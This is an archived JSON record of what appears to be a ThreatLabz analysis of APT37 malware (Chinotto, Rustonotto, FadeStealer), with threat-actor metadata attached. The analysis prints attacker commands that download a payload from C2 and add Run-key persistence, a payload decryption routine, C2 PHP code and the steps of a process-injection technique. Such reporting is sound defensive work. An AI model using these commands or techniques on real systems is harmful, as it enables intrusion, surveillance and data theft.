{
	"id": "186c612a-9529-4f81-9fb4-cea482743afa",
	"created_at": "2026-04-06T00:21:36.660332Z",
	"updated_at": "2026-04-10T03:27:23.691645Z",
	"deleted_at": null,
	"sha1_hash": "a7a66566cdd12df0b483f89b2d64103dffa4791e",
	"title": "APT37: Rust Backdoor \u0026 Python Loader | ThreatLabz",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 835519,
	"plain_text": "APT37: Rust Backdoor \u0026 Python Loader | ThreatLabz\r\nBy Seongsu Park\r\nPublished: 2025-09-08 · Archived: 2026-04-05 21:47:32 UTC\r\nTechnical Analysis \r\nAttack chain\r\nThreatLabz reconstructed the APT37 infection chain that begins with an initial compromise via a Windows\r\nshortcut or a Windows help file, followed by Chinotto dropping FadeStealer through a sophisticated infection\r\nprocess. The attack chain is depicted in the figure below.\r\nFigure 1: Full infection chain involving Chinotto, Rustonotto, and FadeStealer.\r\nWindows shortcut and Rustonotto\r\nIn one campaign, APT37 utilizes a Windows shortcut file. When this shortcut file (MD5:\r\nb9900bef33c6cc9911a5cd7eeda8e093) is launched, a malicious PowerShell script, Chinotto, is invoked that\r\nextracts an embedded decoy and payload using predefined markers. The steps outlined below detail the infection\r\nprocess initiated when the victim executes Chinotto.\r\n1. Scans  %temp% and the current working directory for its own Windows shortcut file, validating its exact\r\nsize (6,032,787 bytes) to ensure the correct file is processed.\r\nhttps://www.zscaler.com/blogs/security-research/apt37-targets-windows-rust-backdoor-and-python-loader\r\nPage 1 of 11\n\n2. Reads the Windows shortcut, converts the byte values to ASCII, and extracts two hex-encoded payloads\r\ndelimited by the markers AEL (first payload start), BEL (second payload start), and EOF (end of file\r\nmarker).\r\n3. Converts the first hex payload to binary and writes it as  C:\\ProgramData\\NKView.hwp , then launches it as a\r\ndecoy document.\r\n4. Decodes the second payload and writes it as  C:\\ProgramData\\3HNoWZd.exe , which functions as the main\r\nexecutable.\r\n5. Creates a scheduled task named  MicrosoftUpdate , configured to execute  3HNoWZd.exe every 5 minutes\r\nusing schtasks .\r\nThe decoy document is a Hangul Word Processor (HWP) file titled “Two Perspectives on North Korea in South\r\nKorean Society”, which was last modified on June 11, 2025.\r\nFigure 2: Example decoy document dropped by an APT37 Windows shortcut file.\r\nThe dropped payload is Rustonotto, which is a Rust-compiled binary (MD5\r\n7967156e138a66f3ee1bfce81836d8d0). Rustonotto receives Base64-encoded Windows commands and returns the\r\nexecution results also in a Base64-encoded format. The steps below illustrate the sequence of Rustonotto’s\r\nbehavior, specifically focusing on its C2 communication.\r\n1. Establishes an HTTP connection to the C2 server with the  U= HTTP query parameter.\r\n2. Makes HTTP requests to the C2 server to fetch commands.\r\n3. Executes the commands received.\r\n4. Captures the command output and sends the result back to the C2 server with the  R= HTTP query\r\nparameter.\r\nhttps://www.zscaler.com/blogs/security-research/apt37-targets-windows-rust-backdoor-and-python-loader\r\nPage 2 of 11\n\nWindows help file and PowerShell-based payload\r\nIn another campaign, the threat actor used a Windows help file (CHM) to deliver malware, a method that\r\nThreatLabz has observed APT37 use before. In this case, the victim was sent a RAR file named 2024-11-22.rar.\r\nInside the RAR archive were two files: a password-protected ZIP archive called KT그룹 채용 (translated as KT\r\nJob Description) and a malicious Windows help file named Password.chm. (which was disguised as a document\r\ncontaining the password for the ZIP archive). The malicious CHM file, when opened, creates a registry value\r\nunder the Run key to trigger the download and execution of an HTML Application (HTA) file from the threat\r\nactor’s server each time the current user logs on. The example below shows how the CHM file is configured to\r\nperform this action: \r\nThe HTA file ( 1.html ) downloaded by the CHM contains a malicious PowerShell script that acts as a backdoor,\r\nallowing the threat actor to control the infected computer remotely. The backdoor known as Chinotto is capable of\r\nperforming various tasks, such as transferring files, executing commands, modifying the registry, creating\r\nscheduled tasks, and more. When Chinotto launches, it creates a unique victim identifier by combining the\r\ncomputer name and the username, which Chinotto uses when communicating with the C2 server. Chinotto\r\nconnects to the same C2 server URL previously associated with Rustonotto.\r\nTo avoid running the malware more than once on the same machine, Chinotto generates a file\r\nnamed %TEMP%\\jMwVrHdPtpv as an execution marker. Every 5 seconds, Chinotto checks the threat actor’s C2\r\nserver for new instructions via HTTP POST requests, sending the victim ID (formatted as  U=[victim ID] ).\r\nChinotto then receives commands from the server, which are Base64 decoded, and executed on the infected\r\nsystem. The table below shows the commands supported by Chinotto, along with their description.\r\nhttps://www.zscaler.com/blogs/security-research/apt37-targets-windows-rust-backdoor-and-python-loader\r\nPage 3 of 11\n\nCommands Description\r\nFINFO\r\nCollects file information (name, size, timestamps, path) from a specified directory, saves it to\r\na CSV file, and uploads the CSV to the C2 server.\r\nDIRUP\r\nCompresses the contents of a specified directory into a ZIP archive and uploads the ZIP to the\r\nC2 server.\r\nSFILE Uploads a specified file to the C2 server.\r\nDOWNF Downloads a file from a given URL and saves it to a specified path.\r\nCURLC Uses curl to download a file from a URL and saves it to a specified path.\r\nREGED Modifies the Windows registry at a specified location, setting the name and value.\r\nTASKA Creates a scheduled task to run a specified command at regular intervals.\r\nZIPEX Extracts the contents of a ZIP archive to a specified destination.\r\nRENAM Renames a specified file or directory.\r\nDELET Deletes a specified file or directory.\r\nTable 1: Commands supported by the Chinotto backdoor.\r\nWhen Chinotto completes execution, it sends a Base64-encoded done message back to the C2 server with the  R=\r\nHTTP query parameter.\r\nTransacted injection\r\nThe threat actor's hands-on-keyboard activities with the implanted Chinotto variant involved delivering malicious\r\npayloads packaged in Microsoft Cabinet (.CAB) files. These payloads, equipped with Python-based launchers,\r\nhttps://www.zscaler.com/blogs/security-research/apt37-targets-windows-rust-backdoor-and-python-loader\r\nPage 4 of 11\n\nwere extracted and executed upon delivery. The commands used to deliver and execute the payloads are outlined\r\nin the table below.\r\nDelivered commands Description\r\ncurl http://[redacted]/images/test/wonder.dat -o\r\n\"c:\\programdata\\wonder.cab\"\r\nFetches the Microsoft\r\nCabinet (CAB) file\r\npayload from the C2\r\nserver.\r\nexpand c:\\programdata\\wonder.cab -F:* c:\\programdata\r\nExtracts the contents of\r\nthe .CAB file to the\r\nspecified directory.\r\ndel /f /q c:\\programdata\\wonder.cab\r\nDeletes the .CAB file\r\nto remove evidence.\r\nreg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v TeleUpdate\r\n/d \"c:\\programdata\\tele_update\\tele_update.exe\r\nc:\\programdata\\tele_update\\tele.conf c:\\programdata\\tele_update\\tele.dat\"\r\n/f\r\nAdds a registry entry to\r\nenable automatic\r\nexecution at system\r\nstartup or login.\r\nc:\\programdata\\telegram_update\\tele_update.exe\r\nc:\\programdata\\telegram_update\\tele.conf\r\nc:\\programdata\\telegram_update\\tele.dat\r\nLaunches FadeStealer\r\nwith its associated\r\nconfiguration and data\r\nfiles.\r\nTable 2: Example APT37 commands executed to deliver FadeStealer.\r\nEach file executed during the threat actor’s hands-on-keyboard activity includes three components: \r\nA legitimate Python module (tele_update.exe).\r\nA compiled Python module (tele.conf) that decrypts and loads FadeStealer from a file named tele.dat.\r\nThe FadeStealer payload (tele.dat), Base64-encoded and XOR encrypted.\r\nThe compiled Python module, created on 2025-04-01 05:42:03, is internally named TransactedHollowing.py,\r\nsuggesting the use of a technique for stealthily injecting and executing arbitrary code within a legitimate Windows\r\nprocess.\r\nhttps://www.zscaler.com/blogs/security-research/apt37-targets-windows-rust-backdoor-and-python-loader\r\nPage 5 of 11\n\nThe script is designed to process a single input file containing a Base64-encoded payload. The script decodes the\r\npayload and applies a custom XOR-based decryption routine to extract a Windows executable. The decrypted\r\nexecutable is intended for injection into a target process. The following code demonstrates the decryption routine\r\nused to unpack the payload.\r\ndef decrypt_custom_encoded_file(file_path):\r\n try:\r\n # Open the file in binary mode and read its content\r\n with open(file_path, \"rb\") as file:\r\n encoded_data = file.read()\r\n \r\n # Decode the content from base64\r\n decoded_data = base64.b64decode(encoded_data)\r\n \r\n # Read offset and update it\r\n offset = decoded_data[0]\r\n offset += 1\r\n \r\n # Get key length and update offset\r\n key_length = decoded_data[offset]\r\n offset += 1\r\n \r\n # Extract the XOR key\r\n xor_key = decoded_data[offset : offset + key_length]\r\n offset += key_length\r\n \r\n # Decrypt the rest of the data using XOR with the key\r\n decrypted = bytes([\r\n decoded_data[i] ^ xor_key[(i - offset) % key_length]\r\n for i in range(offset, len(decoded_data))\r\n ])\r\n \r\n return decrypted\r\nAfter unpacking the original payload, the Python script employs the Process Doppelgänging technique to inject\r\nthe payload into a legitimate Windows process. The technique involves the following steps:\r\n1. Transacted file creation and section object setup\r\n1. The script uses Windows Transactional NTFS (TxF) APIs (e.g.,  CreateFileTransactedW ) to create\r\na new file within a transaction context.\r\n2. The decrypted Portable Executable (PE) payload is written to the transacted file.\r\n3. The function  NtCreateSection is called to create a memory section object, using the transacted\r\nfile as the backing store for the payload's memory.\r\n4. The transaction is rolled back ( RollbackTransaction ), while preserving the section object in\r\nmemory.\r\nhttps://www.zscaler.com/blogs/security-research/apt37-targets-windows-rust-backdoor-and-python-loader\r\nPage 6 of 11\n\n5. The temporary file handle is closed, and the file is deleted, leaving no trace of the payload on disk.\r\n2. Suspended process creation\r\n1. The script randomly selects a legitimate Windows system executable from a predefined list.\r\nExamples include: calc.exe, msinfo32.exe, svchost.exe, GamePanel.exe,\r\nUserAccountControlSettings.exe, and control.exe.\r\n2. The script creates a new process associated with the chosen executable in a suspended state.\r\n3. Section mapping, context manipulation, and execution\r\n1. The section object containing the payload is mapped into the address space of the suspended\r\nprocess using  NtMapViewOfSection .\r\n2. The script modifies the thread context of the suspended process\r\n(via  GetThreadContext  /  SetThreadContext or their Wow64 equivalents) to redirect execution to\r\nthe payload's entry point.\r\n3. The Process Environment Block (PEB) of the target process is updated to reflect the new image\r\nbase address associated with the injected payload.\r\n4. The main thread of the process is resumed ( ResumeThread ), triggering the execution of the injected\r\npayload.\r\nThe decrypted malware is FadeStealer, the same data-theft tool previously documented by AhnLab. FadeStealer\r\nperiodically gathers files from the infected system, compresses them into password-protected RAR archives, and\r\ntransmits them to a C2 server. When launched, FadeStealer creates working directories under\r\nthe  %TEMP%\\VSTelems_Fade\\ folder. FadeStealer has two main functions: automatically exfiltrating sensitive files\r\nand sending specific files as directed by commands specified by the threat actor. \r\nFadeStealer file stealing commands\r\nOnce connected to the C2 server, FadeStealer receives Base64-encoded commands specifying a file path and a\r\nsearch pattern, separated by the  | character. These commands direct the malware to gather target files based on\r\nthe criteria provided. After collecting the files, FadeStealer creates a timestamped RAR archive\r\n(e.g.,  data_YYYY_MM_DD-HH_MM_SS.rar ) and sends it back to the C2 server. Some example commands are listed\r\nbelow:\r\nCommand Description \r\nC:\\Users\\|*.doc Collect all Word documents from the Users directory.\r\nC:\\Documents\\|*.* Collect all files from the Documents folder.\r\nD:\\|*.pdf Collect all PDF files from the D: drive.\r\nhttps://www.zscaler.com/blogs/security-research/apt37-targets-windows-rust-backdoor-and-python-loader\r\nPage 7 of 11\n\nTable 3: Example commands supported by FadeStealer.\r\nFadeStealer surveillance\r\nIn surveillance mode, FadeStealer operates multiple threads, each dedicated to monitoring and collecting specific\r\ntypes of data from the infected system. These threads function independently to capture keystrokes, screenshots,\r\naudio recordings, and file content from connected devices.\r\nIn the table below, the capabilities, collection frequency, file naming patterns, and storage locations of the\r\nmalware are listed.\r\nCapabilities Frequency Files Collected Directory\r\nRecords all\r\nkeystrokes\r\nReal-time key_YYYY_MM_DD.log %TEMP%\\VSTelems_Fade\\NgenPdbk\\\r\nCaptures screen\r\nimages\r\nEvery 30\r\nsec\r\nYYYY_MM_DD-HH_MM_SS.jpg %TEMP%\\VSTelems_Fade\\NgenPdbc\\\r\nRecords\r\nmicrophone audio\r\n5-min\r\nsessions\r\nYYYY_MM_DD-HH_MM_SS.wav %TEMP%\\VSTelems_Fade\\NgenPdbm\\\r\nMonitors for USB\r\ndevices\r\nEvery 1\r\nhour\r\nusb_YYYY_MM_DD-HH_MM_SS.rar\r\n%TEMP%\\VSTelems_FadeOut\\\r\nMonitors\r\ncameras/portable\r\ndevices\r\nEvery 1\r\nhour\r\n[DeviceName]_YYYY_MM_DD-HH_MM_SS.rar\r\n%TEMP%\\VSTelems_FadeIn\\\r\nTable 4: Surveillance capabilities and corresponding files associated with FadeStealer. \r\nFadeStealer compiles all the collected data into a RAR archive every hour, using a naming format\r\nlike  watch_YYYY_MM_DD-HH_MM_SS.rar . This archive includes files stored in the main directory\r\n( %TEMP%\\VSTelems_Fade\\ ), which contain keylogging data, screenshots, audio recordings, and captured files. A\r\nseparate thread is responsible for uploading these archives to the C2 server.\r\nTo ensure timely exfiltration, another thread actively monitors and identifies archived RAR files every 10 seconds,\r\nsending them to the C2 server upon detection.\r\nhttps://www.zscaler.com/blogs/security-research/apt37-targets-windows-rust-backdoor-and-python-loader\r\nPage 8 of 11\n\nIn the table below, the source directories, archive types, and the contents of the collected data are outlined.\r\nSource Directory Archive Types Content\r\n%TEMP%\\VSTelems_Fade\\\r\nwatch_YYYY_MM_DD-HH_MM_SS.rarHourly surveillance data consolidated\r\n(keylogging, screenshots, audio).\r\n%TEMP%\\VSTelems_FadeOut\\\r\nusb_YYYY_MM_DD-HH_MM_SS.rarUSB device contents collected when\r\ninserted.\r\n%TEMP%\\VSTelems_FadeIn\\\r\n[DeviceName]_YYYY_MM_DD-HH_MM_SS.rar\r\nMTP-enabled devices such as\r\nsmartphones, cameras, and media player\r\ncontents gathered during monitoring.\r\nAny location\r\ndata_YYYY_MM_DD-HH_MM_SS.rar\r\nFiles collected via remote commands.\r\nTable 5: Filenames and paths used for surveillance by FadeStealer.\r\nWhen sending files, FadeStealer uses HTTP POST requests with multipart form data, specifying myboundary as\r\nthe boundary name. Additionally, when creating a RAR archive, FadeStealer utilizes the hardcoded\r\npassword NaeMhq[d]q to encrypt the RAR content and employs a custom RAR.exe tool extracted from its\r\nembedded resources.\r\nC2 server\r\nThe threat actor leveraged vulnerable web servers to act as C2 servers for managing malware operations. The C2\r\nPHP script used by APT37 is a lightweight and file-based backend, facilitating communication between the threat\r\nactor and the malware implants. The C2 server enables command delivery, result collection, and file uploads, all\r\norganized within a single JSON file (info).\r\nUsing this simple yet effective script, the threat actor controlled the entire suite of malware tools used in the\r\ncampaign. This included Rustonotto, Chinotto, and FadeStealer, all of which utilized the same Base64-encoded\r\nformat for communication. While some malware variants featured slight differences in command structures, the\r\nC2 server PHP script provided unified and streamlined control over the entire malware toolset. The figure below\r\nillustrates how the C2 server functioned as a central hub for delivering commands, collecting results, and handling\r\nuploads across the different malware components in the campaign.\r\nhttps://www.zscaler.com/blogs/security-research/apt37-targets-windows-rust-backdoor-and-python-loader\r\nPage 9 of 11\n\nFigure 3: APT37 C2 server architecture for Rustonotto, Chinotto, and FadeStealer.\r\nThe APT37 C2 server maintains two arrays: a  parent array for storing results received from the malware\r\nimplant and a  child array for storing commands issued by the threat actor. The code sample below demonstrates\r\nhow the APT37 C2 server initializes its operation.\r\n…\r\nif (!file_exists(\"info\"))\r\n{\r\n file_put_contents(\"info\", '{\"parent\" : [{\"id\" : \"\", \"text\" : \"\"}], \"child\" : [{\"id\" : \"\", \"text\" : \"\"}]}');\r\n}\r\n$jsonStored = '';\r\n$jsonStored = json_decode(file_get_contents(\"info\"));\r\n…\r\nThe APT37 C2 server handles incoming HTTP requests differently depending on whether they originate from the\r\nthreat actor or the malware implant. Requests are processed based on specific types and associated parameters, as\r\noutlined in the table below.\r\nRequest\r\nType\r\nParameter Description\r\nGET/POST U=parent\r\nWhen the threat actor sends the query string  U=parent , the C2 sends back the\r\nentire  parent array, containing results from the clients. After delivering the\r\nresponse, the C2 resets the parent array to empty.\r\nhttps://www.zscaler.com/blogs/security-research/apt37-targets-windows-rust-backdoor-and-python-loader\r\nPage 10 of 11\n\nRequest\r\nType\r\nParameter Description\r\nGET U=\u0026C=\r\nWhen the threat actor issues a command for a specific client, the Base64-\r\nencoded command is decoded and stored in the  child array under the\r\nclient’s ID. If the entry already exists, it is updated; otherwise, a new entry is\r\ncreated. The command is delivered to the client during its next poll and then\r\ncleared from the store.\r\nPOST U=\u0026R=\r\nWhen a client sends back a result, the result is Base64-decoded and stored in\r\nthe  parent array under the client’s ID. If the entry already exists, it is\r\nupdated; otherwise, a new entry is created. The threat actor can later retrieve\r\nthese results using the query string  U=parent .\r\nPOST U=\u0026_file=\r\nWhen a client uploads a file, it is saved in the current directory with a\r\nfilename prefixed by the client’s ID. The final filename format is  _ . If the\r\nfile already exists, the data is appended.\r\nGET/POST U=\r\nWhen a client polls for commands without sending a result or file, the script\r\nchecks the child array for pending commands. If a command is found, it is\r\ndelivered and cleared. If no command exists, the script checks the parent array.\r\nIf no result is present, it responds with a default handshake message\r\n(\" SEVMTw== \", Base64 for \" HELLO \").\r\nTable 6: APT37 C2 server HTTP parameters and their corresponding purposes.\r\nThe threat actor retrieves exfiltrated files from the compromised machine by issuing a direct GET request to the\r\nC2 server, leveraging prior knowledge of the client ID and the specific file name.\r\nSource: https://www.zscaler.com/blogs/security-research/apt37-targets-windows-rust-backdoor-and-python-loader\r\nhttps://www.zscaler.com/blogs/security-research/apt37-targets-windows-rust-backdoor-and-python-loader\r\nPage 11 of 11",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.zscaler.com/blogs/security-research/apt37-targets-windows-rust-backdoor-and-python-loader"
	],
	"report_names": [
		"apt37-targets-windows-rust-backdoor-and-python-loader"
	],
	"threat_actors": [
		{
			"id": "6f30fd35-b1c9-43c4-9137-2f61cd5f031e",
			"created_at": "2025-08-07T02:03:25.082908Z",
			"updated_at": "2026-04-10T02:00:03.744649Z",
			"deleted_at": null,
			"main_name": "NICKEL FOXCROFT",
			"aliases": [
				"APT37 ",
				"ATK4 ",
				"Group 123 ",
				"InkySquid ",
				"Moldy Pisces ",
				"Operation Daybreak ",
				"Operaton Erebus ",
				"RICOCHET CHOLLIMA ",
				"Reaper ",
				"ScarCruft ",
				"TA-RedAnt ",
				"Venus 121 "
			],
			"source_name": "Secureworks:NICKEL FOXCROFT",
			"tools": [
				"Bluelight",
				"Chinotto",
				"GOLDBACKDOOR",
				"KevDroid",
				"KoSpy",
				"PoorWeb",
				"ROKRAT",
				"final1stpy"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "bbe36874-34b7-4bfb-b38b-84a00b07042e",
			"created_at": "2022-10-25T15:50:23.375277Z",
			"updated_at": "2026-04-10T02:00:05.327922Z",
			"deleted_at": null,
			"main_name": "APT37",
			"aliases": [
				"APT37",
				"InkySquid",
				"ScarCruft",
				"Group123",
				"TEMP.Reaper",
				"Ricochet Chollima"
			],
			"source_name": "MITRE:APT37",
			"tools": [
				"BLUELIGHT",
				"CORALDECK",
				"KARAE",
				"SLOWDRIFT",
				"ROKRAT",
				"SHUTTERSPEED",
				"POORAIM",
				"HAPPYWORK",
				"Final1stspy",
				"Cobalt Strike",
				"NavRAT",
				"DOGCALL",
				"WINERACK"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "552ff939-52c3-421b-b6c9-749cbc21a794",
			"created_at": "2023-01-06T13:46:38.742547Z",
			"updated_at": "2026-04-10T02:00:03.08515Z",
			"deleted_at": null,
			"main_name": "APT37",
			"aliases": [
				"Operation Daybreak",
				"Red Eyes",
				"ScarCruft",
				"G0067",
				"Group123",
				"Reaper Group",
				"Ricochet Chollima",
				"ATK4",
				"APT 37",
				"Operation Erebus",
				"Moldy Pisces",
				"APT-C-28",
				"Group 123",
				"InkySquid",
				"Venus 121"
			],
			"source_name": "MISPGALAXY:APT37",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434896,
	"ts_updated_at": 1775791643,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/a7a66566cdd12df0b483f89b2d64103dffa4791e.pdf",
		"text": "https://archive.orkl.eu/a7a66566cdd12df0b483f89b2d64103dffa4791e.txt",
		"img": "https://archive.orkl.eu/a7a66566cdd12df0b483f89b2d64103dffa4791e.jpg"
	}
}